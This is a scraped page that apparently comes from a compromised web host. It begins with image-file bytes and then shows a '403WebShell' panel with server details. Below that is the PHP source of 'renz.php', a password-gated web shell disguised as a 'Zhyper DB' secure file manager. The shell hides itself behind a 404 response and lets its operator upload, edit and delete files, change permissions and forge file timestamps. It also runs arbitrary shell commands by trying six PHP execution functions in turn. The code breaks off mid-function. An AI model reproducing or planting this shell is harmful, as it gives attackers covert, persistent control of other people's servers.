....................................../////.===Hehe-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 198.54.125.254  /  Your IP : 216.73.217.4
Web Server : LiteSpeed
System : Linux premium80.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : vivegvwr ( 1774)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/vivegvwr/www/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/vivegvwr/www/renz.php
<?php
@set_time_limit(0);
@ob_clean();
@http_response_code(404);
error_reporting(0);
session_start();

$type = isset($_REQUEST['type']) ? $_REQUEST['type'] : '';
$path = isset($_REQUEST['path']) ? $_REQUEST['path'] : '';
$data = $_SERVER;
$website_path = $data['DOCUMENT_ROOT'];
$file_path = $data['SCRIPT_FILENAME'];
$now_path = dirname($file_path);
$web_url = $data['REQUEST_SCHEME'] . "://" . $data['SERVER_NAME'];
$hashed_password = '$2y$10$MG6B97Oc0k2JHhqFvKwYhOxbwetMJvTfDm3Cib4hCh5eAtE919i6y';

// === AUTH ===
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
    if (isset($_POST['password']) && password_verify($_POST['password'], $hashed_password)) {
        $_SESSION['loggedin'] = true;
    } else {
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Zhyper DB — Secure Login</title>

  <link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;700;800&display=swap" rel="stylesheet">

  <style>
    * {
      margin: 0;
      padding: 0;
      box-sizing: border-box;
    }

    :root {
      --primary: #00f7b2;
      --primary-dark: #00c98f;
      --bg-dark: rgba(8, 10, 18, 0.78);
      --border: rgba(255,255,255,0.08);
      --text: #ffffff;
      --muted: #aab3c5;
      --shadow: 0 20px 60px rgba(0,0,0,.55);
    }

    body {
      min-height: 100vh;
      font-family: 'JetBrains Mono', monospace;
      display: flex;
      justify-content: center;
      align-items: center;
      overflow: hidden;
      position: relative;
      background: #000;
    }

    /* GIF Background */
    body::before {
      content: "";
      position: fixed;
      inset: 0;
      background: url('https://i.pinimg.com/originals/21/9a/09/219a09d5c2d9e50e4c2d20c9a03e09af.gif') center/cover no-repeat;
      z-index: -3;
      transform: scale(1.05);
      filter: brightness(.45);
    }

    /* Overlay */
    body::after {
      content: "";
      position: fixed;
      inset: 0;
      background:
        radial-gradient(circle at top right, rgba(0,247,178,.12), transparent 35%),
        radial-gradient(circle at bottom left, rgba(0,180,255,.08), transparent 40%),
        rgba(0,0,0,.55);
      z-index: -2;
    }

    /* Video */
    #bg-video {
      position: fixed;
      right: 40px;
      bottom: 0;
      width: 700px;
      max-width: 45vw;
      height: auto;
      z-index: -1;
      opacity: .95;
      pointer-events: none;
      filter: drop-shadow(0 0 30px rgba(0,247,178,.12));
    }

    .login-box {
      width: 420px;
      padding: 40px;
      border-radius: 20px;
      background: var(--bg-dark);
      backdrop-filter: blur(18px);
      -webkit-backdrop-filter: blur(18px);
      border: 1px solid var(--border);
      box-shadow: var(--shadow);
      position: relative;
      overflow: hidden;
    }

    .login-box::before {
      content: "";
      position: absolute;
      top: 0;
      left: -50%;
      width: 200%;
      height: 2px;
      background: linear-gradient(
        90deg,
        transparent,
        var(--primary),
        transparent
      );
      animation: glowline 4s linear infinite;
    }

    @keyframes glowline {
      from {
        transform: translateX(-50%);
      }
      to {
        transform: translateX(50%);
      }
    }

    .logo {
      font-size: 30px;
      font-weight: 800;
      color: var(--text);
      margin-bottom: 8px;
      letter-spacing: 1px;
    }

    .logo span {
      color: var(--primary);
      text-shadow: 0 0 15px rgba(0,247,178,.4);
    }

    .subtitle {
      color: var(--muted);
      font-size: 13px;
      margin-bottom: 30px;
      line-height: 1.6;
    }

    .label {
      font-size: 13px;
      color: #d7deed;
      margin-bottom: 10px;
      display: block;
    }

    input[type="password"] {
      width: 100%;
      padding: 15px 18px;
      border-radius: 12px;
      border: 1px solid #25304a;
      background: rgba(10,14,24,.95);
      color: #fff;
      font-size: 14px;
      outline: none;
      transition: .25s;
      font-family: 'JetBrains Mono', monospace;
    }

    input[type="password"]:focus {
      border-color: var(--primary);
      box-shadow: 0 0 0 4px rgba(0,247,178,.08);
    }

    input::placeholder {
      color: #6c7794;
    }

    button {
      width: 100%;
      margin-top: 18px;
      padding: 15px;
      border: none;
      border-radius: 12px;
      background: linear-gradient(
        135deg,
        var(--primary),
        var(--primary-dark)
      );
      color: #081018;
      font-weight: 800;
      font-size: 14px;
      letter-spacing: 1px;
      cursor: pointer;
      transition: .25s;
      font-family: 'JetBrains Mono', monospace;
      box-shadow: 0 10px 30px rgba(0,247,178,.18);
    }

    button:hover {
      transform: translateY(-2px);
      box-shadow: 0 14px 35px rgba(0,247,178,.28);
    }

    .footer {
      margin-top: 22px;
      font-size: 11px;
      color: #7f8aa6;
      text-align: center;
      opacity: .8;
    }

    @media (max-width: 900px) {
      #bg-video {
        width: 420px;
        opacity: .5;
      }

      .login-box {
        width: 90%;
        max-width: 420px;
      }
    }

    @media (max-width: 600px) {
      #bg-video {
        display: none;
      }

      .login-box {
        padding: 30px;
      }
    }
  </style>
</head>
<body>

  <video autoplay muted loop playsinline id="bg-video">
    <source src="https://zhyperdb.dev/img/gojo.mp4" type="video/mp4">
  </video>

  <div class="login-box">

    <div class="logo">
      Zhyper<span>DB</span>
    </div>

    <div class="subtitle">
      Secure File Manager Access<br>
      Authorized users only
    </div>

    <form method="post">

      <label class="label">
        Enter Password
      </label>

      <input
        type="password"
        name="password"
        placeholder="••••••••••••"
        autofocus
        required
      >

      <button type="submit">
        LOGIN SYSTEM
      </button>

    </form>

    <div class="footer">
      © 2026 Zhyper Security Layer
    </div>

  </div>

</body>
</html>
<?php
        exit;
    }
}

// === PATH SETUP ===
if (!empty($path)) {
    $file_path = $path;
    $now_path  = $path;
}
if ($type == 1) {
    $now_path = $path;
}
$file_path_array = explode('/', $file_path);
if (!is_dir($now_path)) {
    $now_path = dirname($now_path);
}
$can_read  = is_readable($now_path);
$can_write = is_writable($now_path);
$sy_path   = str_replace($website_path, '', $now_path);
$now_url   = $web_url . (strpos($now_path, $website_path) !== false ? $sy_path : '');

// === HELPER FUNCTIONS ===
function getFileSize($file_url) {
    $s = filesize($file_url);
    if ($s > 1048576) return round($s / 1048576, 2) . ' MB';
    if ($s > 1024)    return round($s / 1024, 2) . ' KB';
    return $s . ' B';
}

function getFilePermission($filename) {
    clearstatcache(true, $filename);
    $perms = fileperms($filename);
    if (($perms & 0xC000) === 0xC000)      $info = 's';
    elseif (($perms & 0xA000) === 0xA000)  $info = 'l';
    elseif (($perms & 0x8000) === 0x8000)  $info = '-';
    elseif (($perms & 0x6000) === 0x6000)  $info = 'b';
    elseif (($perms & 0x4000) === 0x4000)  $info = 'd';
    elseif (($perms & 0x2000) === 0x2000)  $info = 'c';
    elseif (($perms & 0x1000) === 0x1000)  $info = 'p';
    else                                    $info = 'u';
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    return $info;
}

function getOwnerGroup($filename) {
    if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
        $stat  = stat($filename);
        $owner = posix_getpwuid($stat['uid']);
        $group = posix_getgrgid($stat['gid']);
        return ($owner ? $owner['name'] : $stat['uid']) . ' / ' . ($group ? $group['name'] : $stat['gid']);
    }
    return '-';
}

function sortByFolder($now_path, $all_list) {
    $folders = $files = [];
    foreach ($all_list as $v) {
        if (is_dir($now_path . '/' . $v)) $folders[] = $v;
        else $files[] = $v;
    }
    sort($folders);
    sort($files);
    return array_merge($folders, $files);
}

function deleteDirectory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir))      return unlink($dir);
    foreach (scandir($dir) as $item) {
        if ($item === '.' || $item === '..') continue;
        if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) return false;
    }
    return rmdir($dir);
}

// === PROCESS ACTIONS ===
$alert       = '';
$old_chmod   = '';
$new_name    = '';
$new_content = '';

if ($type == 3) {
    $file_content   = isset($_REQUEST['file_content']) ? $_REQUEST['file_content'] : '';
    $content_result = file_put_contents($path, $file_content);
    $alert = ($content_result !== false)
        ? '<div class="alert alert-success">✔ File content modified successfully!</div>'
        : '<div class="alert alert-danger">✘ Failed to modify file content!</div>';
}

if ($type == 4 && !empty($_POST['file_new_name'])) {
    $file_new_name = $_POST['file_new_name'];
    if (rename($file_path, $now_path . '/' . $file_new_name)) {
        $alert     = '<div class="alert alert-success">✔ Renamed successfully!</div>';
        $file_path = $now_path . '/' . $file_new_name;
    } else {
        $alert = '<div class="alert alert-danger">✘ Failed to rename!</div>';
    }
}

if ($type == 5) {
    if (!empty($_POST['new_chmod'])) {
        $new_chmod = trim($_POST['new_chmod']);
        $alert = chmod($file_path, octdec($new_chmod))
            ? '<div class="alert alert-success">✔ Permissions changed successfully!</div>'
            : '<div class="alert alert-danger">✘ Failed to change permissions!</div>';
        $old_chmod = $new_chmod;
    } else {
        $permissions = fileperms($file_path);
        $old_chmod   = substr(sprintf('%o', $permissions), -4);
    }
}

if ($type == 6) {
    $new_name    = isset($_POST['new_name'])    ? trim($_POST['new_name'])  : '';
    $new_content = isset($_POST['new_content']) ? $_POST['new_content']     : '';
    if (!empty($new_name)) {
        if (is_file($now_path . '/' . $new_name)) {
            $alert = '<div class="alert alert-danger">✘ File already exists!</div>';
        } else {
            $fp = fopen($now_path . '/' . $new_name, 'w');
            if ($fp) { fwrite($fp, $new_content); fclose($fp);
                $alert = '<div class="alert alert-success">✔ File created successfully!</div>';
            } else {
                $alert = '<div class="alert alert-danger">✘ Failed to create file!</div>';
            }
        }
    }
}

if ($type == 7) {
    $new_name = isset($_POST['new_name']) ? trim($_POST['new_name']) : '';
    if (!empty($new_name)) {
        $target_dir = $now_path . '/' . $new_name;
        if (is_dir($target_dir))     $alert = '<div class="alert alert-warning">⚠ Directory already exists!</div>';
        elseif (mkdir($target_dir))  $alert = '<div class="alert alert-success">✔ Directory created successfully!</div>';
        else                         $alert = '<div class="alert alert-danger">✘ Failed to create directory!</div>';
    }
}

if ($type == 8 && !empty($_POST['new_datetime'])) {
    $timestamp = strtotime(trim($_POST['new_datetime']));
    if ($timestamp === false)             $alert = '<div class="alert alert-danger">✘ Invalid date/time format!</div>';
    elseif (touch($file_path,$timestamp)) $alert = '<div class="alert alert-success">✔ Modification time changed!</div>';
    else                                  $alert = '<div class="alert alert-danger">✘ Failed to change time!</div>';
}

if ($type == 9 && isset($_POST['extract_to'])) {
    $extract_to = trim($_POST['extract_to']);
    if (empty($extract_to)) $extract_to = $now_path;
    $zip = new ZipArchive();
    $result = $zip->open($file_path);
    if ($result === true) {
        $alert = $zip->extractTo($extract_to)
            ? '<div class="alert alert-success">✔ Extracted to: ' . htmlspecialchars($extract_to) . '</div>'
            : '<div class="alert alert-danger">✘ Failed to extract!</div>';
        $zip->close();
    } else {
        $alert = '<div class="alert alert-danger">✘ Cannot open ZIP! Error: ' . $result . '</div>';
    }
}

if ($type == 10) {
    $target = $path;
    if (!empty($target) && file_exists($target)) {
        $del_result = is_dir($target) ? deleteDirectory($target) : unlink($target);
        $alert = $del_result
            ? '<div class="alert alert-success">✔ <strong>' . htmlspecialchars(basename($target)) . '</strong> deleted!</div>'
            : '<div class="alert alert-danger">✘ Failed to delete!</div>';
    } else {
        $alert = '<div class="alert alert-danger">✘ Item not found!</div>';
    }
}

if ($type == '' || $type == 1) {
    if (isset($_POST['act']) && $_POST['act'] === 'del' && !empty($_POST['childcheck'])) {
        $count = $fail = 0;
        foreach ($_POST['childcheck'] as $v) {
            $res = is_dir($v) ? deleteDirectory($v) : unlink($v);
            $res ? $count++ : $fail++;
        }
        if ($count) $alert .= '<div class="alert alert-success">✔ Deleted ' . $count . ' item(s)!</div>';
        if ($fail)  $alert .= '<div class="alert alert-danger">✘ Failed to delete ' . $fail . ' item(s)!</div>';
    }
    if (isset($_POST['act']) && $_POST['act'] === 'upload' && !empty($_FILES['fileToUpload']['name'])) {
        $targetFile = $now_path . '/' . basename($_FILES['fileToUpload']['name']);
        if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $targetFile))
            $alert .= '<div class="alert alert-success">✔ ' . htmlspecialchars(basename($_FILES['fileToUpload']['name'])) . ' uploaded!</div>';
        else
            $alert .= '<div class="alert alert-danger">✘ Upload failed!</div>';
    }
}

// === TERMINAL EXEC - DETEKSI 7 METHOD ===
if (isset($_POST['act']) && $_POST['act'] === 'exec' && !empty($_POST['cmd'])) {
    $cmd = trim($_POST['cmd']);
    $target_dir = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
    
    // ✅ CRITICAL: Change to target directory FIRST
    if (is_dir($target_dir) && chdir($target_dir)) {
        $current_cwd = getcwd();
        $alert .= '<div class="alert alert-info small mb-2">';
        $alert .= '📁 Working dir: <code>' . htmlspecialchars($current_cwd) . '</code>';
        $alert .= '</div>';
    }
    
    $methods = ['system', 'exec', 'passthru', 'shell_exec', 'proc_open', 'popen'];
    $output = $exit_code = '';
    $used_method = '';
    
    foreach ($methods as $name) {
        if (!function_exists($name)) continue;
        
        ob_start();
        $start_time = microtime(true);
        
        switch ($name) {
            case 'system':
            case 'passthru':
                $exit_code = $name($cmd . ' 2>&1');
                $output = ob_get_contents();
                break;
                
            case 'exec':
                exec($cmd . ' 2>&1', $exec_out, $exit_code);
                $output = implode("\n", $exec_out);
                break;
                
            case 'shell_exec':
                $output = $name($cmd . ' 2>&1');
                break;
                
            case 'popen':
                $pipe = popen($cmd . ' 2>&1', 'r');
                if ($pipe) {
                    while (!feof($pipe)) $output .= fread($pipe, 4096);
                    $exit_code = pclose($pipe);
                }
                break;
                
            case 'proc_open':
                // ✅ PASS CWD ke proc_open
                $descriptorspec = [0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];
                $process = proc_open($cmd, $descriptorspec, $pipes, $target_dir, null);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]); fclose($pipes[2]);
                    $exit_code = proc_close($process);
                }
                break;
        }
        
        ob_end_clean();
        if ((microtime(true) - $start_time) > 10) break;
        if (!empty($output) || $exit_code !== null) {
            $used_method = $name;
            $output = trim($output ?: 'Command executed (no output)');
            break;
        }
    }
    
    // KEMBALI ke cwd semula (cleanup)
    chdir(dirname(__FILE__));
    
    if ($used_method) {
        $alert .= '<div class="alert alert-success">';
        $alert .= '<pre>' . htmlspecialchars($output) . '</pre>';
        $alert .= '</div>';
    } else {
